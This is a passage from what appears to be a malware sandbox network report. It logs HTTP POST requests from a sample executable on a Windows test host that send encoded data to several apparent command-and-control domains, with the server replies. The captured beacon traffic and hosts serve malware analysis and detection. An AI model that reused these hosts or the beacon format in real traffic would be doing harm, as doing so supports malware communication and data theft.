39 4f 30 39 72 50 4c 46 5a 4f 30 42 72 69 58 62 34 72 70 53 44 58 2b 4b 4e 67 34 77 4d 65 39 34 50 6d 2f 6a 78 35 32 49 48 53 4f 76 2f 72 74 4a 70 52 55 54 6d 4b 41 51 42 2b 42 72 69 33 59 5a 79 54 55 51 77 49 61 70 65 59 4b 47 4a 63 35 78 52 42 49 6a 35 64 46 31 49 76 70 65 55 46 61 4d 39 68 75 52 58 4e 59 5a 33 47 78 52 69 46 70 45 70 67 65 33 2f 45 43 2f 6c 50 72 35 4e 44 31 [TRUNCATED] Data Ascii: pSk/Dky3sPhG0z1Wt4rcLF94eOIk9nywQB1iS2pdDLOE7VMy9Jx9ntpEj8gucLmyh1rvlh/+G/KZdnkmqs03ZgdaJWD2Sv4pfp1/QTVlczib3B+l0ciQ7lXOdCg/Q7Ur2ARER4vbY61Gg2e4PmJ8kcYgcBRs2TLdDDEocM+BF+onwPydRH6qQe+ukSbUyhUPWmNNcCzWzmy26lvZCta9O09rPLFZO0BriXb4rpSDX+KNg4wMe94Pm/jx52IHSOv/rtJpRUTmKAQB+Bri3YZyTUQwIapeYKGJc5xRBIj5dF1IvpeUFaM9huRXNYZ3GxRiFpEpge3/EC/lPr5ND1cSxS36qAGqcC/1eWINpdVqxGhcOwE1cSNeWmQW9bnQdkQOzJTnXozpNyaS/2XDsc2sd814EsAQX2DZ/EFxgL5Zm2b15sb8Kp9mhVvI2hlyqytdHiyLLd8MFz7/iESdkEuRQrUM9AfL2U4Vd8HnZGZSCBOky5PRaHd0BLDB8jl2YqfAA6WmMhYR979xwxmyyFhOaPX9G5bDRrKsUiviZXcj3HMLx1vy+jrYaNjaDSyloSw=
Oct 25, 2024 11:17:37.609473944 CEST	442	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 25 Oct 2024 09:17:37 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 231 Connection: keep-alive Location: https://www.naoi-a.com/ Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 6f 69 2d 61 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.naoi-a.com/">here</a>.</p></body></html>
Oct 25, 2024 11:17:37.626844883 CEST	809	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 576 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.naoi-a.com Cache-Control: no-cache Data Raw: 70 53 6b 2f 44 6b 79 33 73 50 68 47 30 7a 31 57 74 34 72 63 4c 46 39 34 65 4f 49 6b 39 6e 79 77 51 42 31 69 53 32 70 64 44 4c 4f 45 37 56 4d 79 39 4a 78 39 6e 74 70 45 6a 38 67 75 63 4c 6d 79 68 31 72 76 6c 68 2f 2b 47 2f 4b 5a 64 6e 6b 6d 71 73 30 33 5a 67 64 61 4a 57 44 32 53 76 34 70 66 70 31 2f 51 54 56 6c 63 7a 69 62 33 42 2b 6c 30 63 69 51 37 6c 58 4f 64 43 67 2f 51 37 55 72 32 41 52 45 52 34 76 62 59 36 31 47 67 32 65 34 50 6d 4a 38 6b 63 59 67 63 42 52 73 32 54 4c 64 44 44 45 6f 63 4d 2b 42 46 2b 6f 6e 77 50 79 64 52 48 36 71 51 65 2b 75 6b 53 62 55 79 68 55 50 57 6d 4e 4e 63 43 7a 57 7a 6d 79 32 36 6c 76 5a 43 74 61 39 4f 30 39 72 50 4c 46 5a 4f 30 42 72 69 58 62 34 72 70 53 44 58 2b 4b 4e 67 34 77 4d 65 39 34 50 6d 2f 6a 78 35 32 49 48 53 4f 76 2f 72 74 4a 70 52 55 54 6d 4b 41 51 42 2b 42 72 69 33 59 5a 79 54 55 51 77 49 61 70 65 59 4b 47 4a 63 35 78 52 42 49 6a 35 64 46 31 49 76 70 65 55 46 61 4d 39 68 75 52 58 4e 59 5a 33 47 78 52 69 46 70 45 70 67 65 33 2f 45 43 2f 6c 50 72 35 4e 44 31 [TRUNCATED] Data Ascii: pSk/Dky3sPhG0z1Wt4rcLF94eOIk9nywQB1iS2pdDLOE7VMy9Jx9ntpEj8gucLmyh1rvlh/+G/KZdnkmqs03ZgdaJWD2Sv4pfp1/QTVlczib3B+l0ciQ7lXOdCg/Q7Ur2ARER4vbY61Gg2e4PmJ8kcYgcBRs2TLdDDEocM+BF+onwPydRH6qQe+ukSbUyhUPWmNNcCzWzmy26lvZCta9O09rPLFZO0BriXb4rpSDX+KNg4wMe94Pm/jx52IHSOv/rtJpRUTmKAQB+Bri3YZyTUQwIapeYKGJc5xRBIj5dF1IvpeUFaM9huRXNYZ3GxRiFpEpge3/EC/lPr5ND1cSxS36qAGqcC/1eWINpdVqxGhcOwE1cSNeWmQW9bnQdkQOzJTnXozpNyaS/2XDsc2sd814EsAQX2DZ/EFxgL5Zm2b15sb8Kp9mhVvI2hlyqytdHiyLLd8MFz7/iESdkEuRQrUM9AfL2U4Vd8HnZGZSCBOky5PRaHd0BLDB8jl2YqfAA6WmMhYR979xwxmyyFhOaPX9G5bDRrKsUiviZXcj3HMLx1vy+jrYaNjaDSyloSw=
Oct 25, 2024 11:17:37.884701967 CEST	442	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 25 Oct 2024 09:17:37 GMT Content-Type: text/html; charset=iso-8859-1 Content-Length: 231 Connection: keep-alive Location: https://www.naoi-a.com/ Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6e 61 6f 69 2d 61 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.naoi-a.com/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	52594	5.189.128.121	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:36.911715984 CEST	787	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 552 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.maktraxx.com Cache-Control: no-cache Data Raw: 6e 50 4b 62 2b 6d 6c 33 4a 50 6c 66 77 55 6c 37 4f 4e 6b 64 46 49 4b 37 52 47 6b 48 2b 61 45 55 72 52 41 42 30 6a 61 6e 33 70 4e 56 4b 65 34 66 79 5a 43 4f 32 2f 73 50 78 4e 52 62 35 57 31 68 2b 71 57 68 65 45 46 35 44 6c 47 56 49 2b 73 61 32 72 6e 4a 6d 4e 61 74 43 57 4c 33 42 4b 2b 6d 74 54 30 76 33 63 4d 4d 42 79 49 72 4f 6a 70 70 2b 41 51 49 54 39 2b 4a 41 53 56 55 74 50 41 32 77 70 43 73 62 48 52 35 4e 34 5a 59 6a 7a 2f 50 52 6a 58 56 68 45 5a 38 32 77 78 56 34 71 75 6b 55 6b 2f 41 75 72 4c 59 62 48 68 66 73 68 70 44 48 36 4e 54 2f 30 35 56 6e 47 36 34 4f 66 34 41 50 36 42 42 36 53 63 79 33 69 75 43 6b 39 76 72 75 48 35 77 59 6e 63 68 5a 4c 30 58 4a 61 43 79 5a 48 2f 6a 53 46 32 2f 77 39 32 73 4c 4b 57 2b 78 4b 48 6f 59 64 49 38 65 52 73 4f 41 53 73 75 30 67 31 53 76 53 6c 41 5a 6f 7a 62 73 6c 62 5a 77 49 37 46 66 52 49 72 4b 48 48 37 6a 6f 4e 2f 45 6c 42 74 4a 42 4b 56 54 6a 67 74 64 31 65 61 71 31 61 4e 2f 4a 63 39 69 5a 32 73 5a 52 76 32 56 4a 4b 31 58 57 49 49 49 62 6f 51 31 67 59 73 74 2f [TRUNCATED] Data Ascii: nPKb+ml3JPlfwUl7ONkdFIK7RGkH+aEUrRAB0jan3pNVKe4fyZCO2/sPxNRb5W1h+qWheEF5DlGVI+sa2rnJmNatCWL3BK+mtT0v3cMMByIrOjpp+AQIT9+JASVUtPA2wpCsbHR5N4ZYjz/PRjXVhEZ82wxV4qukUk/AurLYbHhfshpDH6NT/05VnG64Of4AP6BB6Scy3iuCk9vruH5wYnchZL0XJaCyZH/jSF2/w92sLKW+xKHoYdI8eRsOASsu0g1SvSlAZozbslbZwI7FfRIrKHH7joN/ElBtJBKVTjgtd1eaq1aN/Jc9iZ2sZRv2VJK1XWIIIboQ1gYst/M+iquT/kKFgYK/LgBn0bpuhI25AXz7sE6DM+J5J53At17QsOubztUBOehjkeLTza8yKz0mNG74ke3d0Jwx+AtRXnCgobqvuBhIB3vnaQ7Q20u6b1sv+YOQJ60BgyxbQM7tDDS76lL308aizh6NcwPavMEY1ApvwkJ3kCuOWX2/qfb9yCDTXWMFQy03pPQA4ZWWp7F+nE79CLWwCdWR6ecl
Oct 25, 2024 11:17:37.786583900 CEST	355	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 25 Oct 2024 09:17:37 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://www.maktraxx.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Oct 25, 2024 11:17:37.805270910 CEST	787	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 552 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.maktraxx.com Cache-Control: no-cache Data Raw: 6e 50 4b 62 2b 6d 6c 33 4a 50 6c 66 77 55 6c 37 4f 4e 6b 64 46 49 4b 37 52 47 6b 48 2b 61 45 55 72 52 41 42 30 6a 61 6e 33 70 4e 56 4b 65 34 66 79 5a 43 4f 32 2f 73 50 78 4e 52 62 35 57 31 68 2b 71 57 68 65 45 46 35 44 6c 47 56 49 2b 73 61 32 72 6e 4a 6d 4e 61 74 43 57 4c 33 42 4b 2b 6d 74 54 30 76 33 63 4d 4d 42 79 49 72 4f 6a 70 70 2b 41 51 49 54 39 2b 4a 41 53 56 55 74 50 41 32 77 70 43 73 62 48 52 35 4e 34 5a 59 6a 7a 2f 50 52 6a 58 56 68 45 5a 38 32 77 78 56 34 71 75 6b 55 6b 2f 41 75 72 4c 59 62 48 68 66 73 68 70 44 48 36 4e 54 2f 30 35 56 6e 47 36 34 4f 66 34 41 50 36 42 42 36 53 63 79 33 69 75 43 6b 39 76 72 75 48 35 77 59 6e 63 68 5a 4c 30 58 4a 61 43 79 5a 48 2f 6a 53 46 32 2f 77 39 32 73 4c 4b 57 2b 78 4b 48 6f 59 64 49 38 65 52 73 4f 41 53 73 75 30 67 31 53 76 53 6c 41 5a 6f 7a 62 73 6c 62 5a 77 49 37 46 66 52 49 72 4b 48 48 37 6a 6f 4e 2f 45 6c 42 74 4a 42 4b 56 54 6a 67 74 64 31 65 61 71 31 61 4e 2f 4a 63 39 69 5a 32 73 5a 52 76 32 56 4a 4b 31 58 57 49 49 49 62 6f 51 31 67 59 73 74 2f [TRUNCATED] Data Ascii: nPKb+ml3JPlfwUl7ONkdFIK7RGkH+aEUrRAB0jan3pNVKe4fyZCO2/sPxNRb5W1h+qWheEF5DlGVI+sa2rnJmNatCWL3BK+mtT0v3cMMByIrOjpp+AQIT9+JASVUtPA2wpCsbHR5N4ZYjz/PRjXVhEZ82wxV4qukUk/AurLYbHhfshpDH6NT/05VnG64Of4AP6BB6Scy3iuCk9vruH5wYnchZL0XJaCyZH/jSF2/w92sLKW+xKHoYdI8eRsOASsu0g1SvSlAZozbslbZwI7FfRIrKHH7joN/ElBtJBKVTjgtd1eaq1aN/Jc9iZ2sZRv2VJK1XWIIIboQ1gYst/M+iquT/kKFgYK/LgBn0bpuhI25AXz7sE6DM+J5J53At17QsOubztUBOehjkeLTza8yKz0mNG74ke3d0Jwx+AtRXnCgobqvuBhIB3vnaQ7Q20u6b1sv+YOQJ60BgyxbQM7tDDS76lL308aizh6NcwPavMEY1ApvwkJ3kCuOWX2/qfb9yCDTXWMFQy03pPQA4ZWWp7F+nE79CLWwCdWR6ecl
Oct 25, 2024 11:17:38.064254045 CEST	355	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Fri, 25 Oct 2024 09:17:37 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://www.maktraxx.com/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	52599	188.114.96.3	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:37.081413031 CEST	805	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 572 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.fcwcvt.org Cache-Control: no-cache Data Raw: 32 59 70 59 32 7a 64 6b 50 50 6e 79 2b 72 36 72 70 76 54 4d 76 59 41 58 4f 6d 48 74 47 49 78 71 57 78 4f 61 6f 65 7a 45 48 43 63 4d 6d 4d 61 31 69 55 4d 6f 6c 57 53 71 73 31 64 44 62 73 57 6f 41 45 57 46 58 63 45 6e 6f 46 62 63 59 59 66 32 4e 65 4d 72 42 6a 68 35 78 66 79 46 53 51 53 73 6c 37 42 71 39 70 4f 75 58 52 55 59 56 6b 54 41 63 53 30 51 74 34 31 49 61 5a 67 6a 35 38 72 39 68 2f 77 5a 59 75 7a 32 54 50 6e 65 65 4c 36 46 69 6e 33 5a 65 73 51 2f 32 59 4b 50 43 70 6d 52 57 44 31 57 61 45 61 36 61 6f 4f 43 4b 4b 2b 41 77 6f 44 39 7a 36 32 2b 74 67 75 5a 46 32 7a 4f 77 76 6e 6e 6b 78 63 44 51 77 59 59 7a 44 51 4c 49 30 6f 6f 64 42 6d 52 55 63 61 68 63 6d 61 6f 55 39 4f 6c 2b 53 69 66 31 54 4f 6e 30 41 64 33 31 6c 4a 43 78 32 65 56 58 32 52 75 56 56 6e 48 63 55 47 66 6b 4b 37 33 48 63 43 77 37 6a 34 55 31 6f 2f 4b 59 61 63 59 74 74 69 6e 42 4a 38 68 4e 33 6a 66 4d 32 64 6e 51 69 5a 6e 36 5a 61 34 6e 46 6d 56 69 39 50 41 6b 30 59 4d 72 33 6e 75 6d 6a 54 59 36 4b 4a 55 78 69 37 48 77 62 36 49 43 33 [TRUNCATED] Data Ascii: 2YpY2zdkPPny+r6rpvTMvYAXOmHtGIxqWxOaoezEHCcMmMa1iUMolWSqs1dDbsWoAEWFXcEnoFbcYYf2NeMrBjh5xfyFSQSsl7Bq9pOuXRUYVkTAcS0Qt41IaZgj58r9h/wZYuz2TPneeL6Fin3ZesQ/2YKPCpmRWD1WaEa6aoOCKK+AwoD9z62+tguZF2zOwvnnkxcDQwYYzDQLI0oodBmRUcahcmaoU9Ol+Sif1TOn0Ad31lJCx2eVX2RuVVnHcUGfkK73HcCw7j4U1o/KYacYttinBJ8hN3jfM2dnQiZn6Za4nFmVi9PAk0YMr3numjTY6KJUxi7Hwb6IC3eim0J88SOtNXSWaHNawhStTvjHgoOFm1P7ZaI9MfoyH4MSFSAo0FMR/Nyb+OnCYgM+Kz0L9YLpLuzP0YhaTxFSUmtcXl4nRcWsIKHuJXhahNzBcAvGM4K5ZF0/8o9WB54QTgaBbsMxYAECDjPYRnPlTbXet+efUA6eUwsc70Tte/GXhKxtl6CX5wviU9NgGKO4NfisZ67H1cey8qoWL8LO2/CU1w2ywhetmzyIiw==
Oct 25, 2024 11:17:37.801086903 CEST	1055	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:37 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: keep-alive Location: https://www.fcwcvt.org/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5evYv%2Fe6TWWd7j1Uk0qu9%2F0YVeVpOYAs7j0eDiERzmSQ9RDRTSlJZRi1eEyVjyk5wbn3OENu%2FaLlDz9qlyxelOtWWjJWU5ZEewnYXgNGBgYmS5VTSOkSxF5L9XzDrX5Xbw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811d562cbe144b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1079&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=805&delivery_rate=0&cwnd=237&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 65 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 63 77 63 76 74 2e 6f 72 67 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: e7<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.fcwcvt.org/">here</a>.</p></body></html>0
Oct 25, 2024 11:17:37.821526051 CEST	805	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 572 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.fcwcvt.org Cache-Control: no-cache Data Raw: 32 59 70 59 32 7a 64 6b 50 50 6e 79 2b 72 36 72 70 76 54 4d 76 59 41 58 4f 6d 48 74 47 49 78 71 57 78 4f 61 6f 65 7a 45 48 43 63 4d 6d 4d 61 31 69 55 4d 6f 6c 57 53 71 73 31 64 44 62 73 57 6f 41 45 57 46 58 63 45 6e 6f 46 62 63 59 59 66 32 4e 65 4d 72 42 6a 68 35 78 66 79 46 53 51 53 73 6c 37 42 71 39 70 4f 75 58 52 55 59 56 6b 54 41 63 53 30 51 74 34 31 49 61 5a 67 6a 35 38 72 39 68 2f 77 5a 59 75 7a 32 54 50 6e 65 65 4c 36 46 69 6e 33 5a 65 73 51 2f 32 59 4b 50 43 70 6d 52 57 44 31 57 61 45 61 36 61 6f 4f 43 4b 4b 2b 41 77 6f 44 39 7a 36 32 2b 74 67 75 5a 46 32 7a 4f 77 76 6e 6e 6b 78 63 44 51 77 59 59 7a 44 51 4c 49 30 6f 6f 64 42 6d 52 55 63 61 68 63 6d 61 6f 55 39 4f 6c 2b 53 69 66 31 54 4f 6e 30 41 64 33 31 6c 4a 43 78 32 65 56 58 32 52 75 56 56 6e 48 63 55 47 66 6b 4b 37 33 48 63 43 77 37 6a 34 55 31 6f 2f 4b 59 61 63 59 74 74 69 6e 42 4a 38 68 4e 33 6a 66 4d 32 64 6e 51 69 5a 6e 36 5a 61 34 6e 46 6d 56 69 39 50 41 6b 30 59 4d 72 33 6e 75 6d 6a 54 59 36 4b 4a 55 78 69 37 48 77 62 36 49 43 33 [TRUNCATED] Data Ascii: 2YpY2zdkPPny+r6rpvTMvYAXOmHtGIxqWxOaoezEHCcMmMa1iUMolWSqs1dDbsWoAEWFXcEnoFbcYYf2NeMrBjh5xfyFSQSsl7Bq9pOuXRUYVkTAcS0Qt41IaZgj58r9h/wZYuz2TPneeL6Fin3ZesQ/2YKPCpmRWD1WaEa6aoOCKK+AwoD9z62+tguZF2zOwvnnkxcDQwYYzDQLI0oodBmRUcahcmaoU9Ol+Sif1TOn0Ad31lJCx2eVX2RuVVnHcUGfkK73HcCw7j4U1o/KYacYttinBJ8hN3jfM2dnQiZn6Za4nFmVi9PAk0YMr3numjTY6KJUxi7Hwb6IC3eim0J88SOtNXSWaHNawhStTvjHgoOFm1P7ZaI9MfoyH4MSFSAo0FMR/Nyb+OnCYgM+Kz0L9YLpLuzP0YhaTxFSUmtcXl4nRcWsIKHuJXhahNzBcAvGM4K5ZF0/8o9WB54QTgaBbsMxYAECDjPYRnPlTbXet+efUA6eUwsc70Tte/GXhKxtl6CX5wviU9NgGKO4NfisZ67H1cey8qoWL8LO2/CU1w2ywhetmzyIiw==
Oct 25, 2024 11:17:38.004265070 CEST	1067	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 25 Oct 2024 09:17:37 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: keep-alive Location: https://www.fcwcvt.org/ cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zhOGWcvmtR7T8J5%2Bji6TPpfikAFV3lfWxcKY4t4jxK9Gb2IULEb3y4vBiXa5%2B1ugSNFQoLgj4fVvpMZm3n4rjqmKDELcFAf8vkDKPueFP0AdPlAN%2FDlmJkg%2Ff7YgtcguMg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d811d57cd9b144b-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1094&sent=4&recv=6&lost=0&retrans=0&sent_bytes=1055&recv_bytes=1610&delivery_rate=2423430&cwnd=239&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 65 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 63 77 63 76 74 2e 6f 72 67 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: e7<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.fcwcvt.org/">here</a>.</p></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	52600	3.94.41.167	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:37.086751938 CEST	795	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 560 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.cokocoko.com Cache-Control: no-cache Data Raw: 65 71 6c 4b 38 6b 4d 79 4a 50 6d 75 75 69 48 49 53 6a 4c 58 4e 32 78 70 37 63 58 70 76 65 39 66 4a 2b 52 2f 6a 6b 6b 38 41 4f 77 77 4b 6c 2f 35 4c 32 68 36 46 62 69 45 44 59 79 54 5a 49 42 4a 39 42 66 73 70 66 6c 78 63 50 72 35 4e 63 75 55 41 69 62 30 4a 56 61 4b 72 54 42 49 30 51 6d 5a 36 62 33 66 39 63 72 48 74 76 35 6d 30 66 77 4a 62 38 30 6b 5a 36 68 7a 68 44 46 70 76 38 4e 77 56 51 38 57 76 7a 46 76 39 70 69 6c 44 30 49 77 74 4a 75 58 4c 6d 56 42 69 4a 6e 64 68 51 7a 51 64 77 70 79 4b 57 39 63 55 42 32 50 44 59 62 37 58 54 41 36 2f 53 73 75 79 71 72 4c 78 70 4a 77 43 44 54 68 6b 2f 49 38 75 36 62 2f 6a 66 6c 4e 71 48 2b 71 64 44 4d 4f 67 31 76 74 4c 73 33 74 77 39 44 39 31 59 78 4d 6f 6c 6f 41 75 49 64 75 6d 6f 74 46 53 2f 35 37 73 47 43 54 52 30 70 50 45 33 65 68 73 76 75 77 77 6c 30 73 66 78 79 46 58 76 57 30 4f 2b 47 67 7a 43 42 6c 74 66 30 41 59 70 31 33 37 6b 50 61 50 78 7a 7a 48 36 71 6c 69 54 34 7a 32 34 55 44 31 58 67 6b 6f 50 77 6b 4f 78 76 78 75 61 36 44 41 2b 4b 50 76 48 57 74 41 30 [TRUNCATED] Data Ascii: 